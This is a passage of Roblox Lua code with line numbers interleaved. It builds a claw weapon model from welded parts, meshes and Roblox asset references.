ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
1823
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
1824
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
1825
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
1826
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
1827
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1828
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1829
CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
1830
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1831
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1832
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
1833
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
1834
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
1835
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
1836
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1837
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1838
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
1839
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
1840
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
1841
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
1842
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1843
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1844
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
1845
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
1846
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1847
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
1848
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
1849
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1850
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
1851
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
1852
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1853
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
1854
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
1855
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1856
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
1857
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1858
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1859
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
1860
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
1861
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
1862
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
1863
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
1864
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
1865
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
1866
Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
1867
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
1868
CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
1869
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
1870
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
1871
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
1872
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
1873
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1874
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
1875
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
1876
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1877
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
1878
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1879
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1880
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
1881
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
1882
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1883
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
1884
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1885
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
1886
CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
1887
ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
1888
ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
1889
CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
1890
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1891
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
1892
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
1893
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
1894
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
1895
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
1896
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
1897
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
1898
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
1899
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
1900
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
1901
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
1902
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
1903
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
1904
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
1905
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
1906
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
1907
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
1908
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
1909
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
1910
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
1911
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
1912
PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
1913
CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
1914
MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1915
MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
1916
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1917
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
1918
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
1919
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1920
ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
1921
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1922
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
1923
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
1924
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
1925
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
1926
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
1927
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
1928
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
1929
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
1930
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
1931
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
1932
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1933
ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
1934
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
1935
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1936
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
1937
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1938
PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
1939
MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1940
MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
1941
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1942
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
1943
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
1944
Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
1945
ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
1946
CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
1947
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
1948
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
1949
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
1950
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
1951
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
1952
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
1953
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
1954
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
1955
Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
1956
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
1957
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1958
ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
1959
CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
1960
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
1961
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
1962
CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
1963
PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
1964
MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
1965
MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
1966
Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
1967
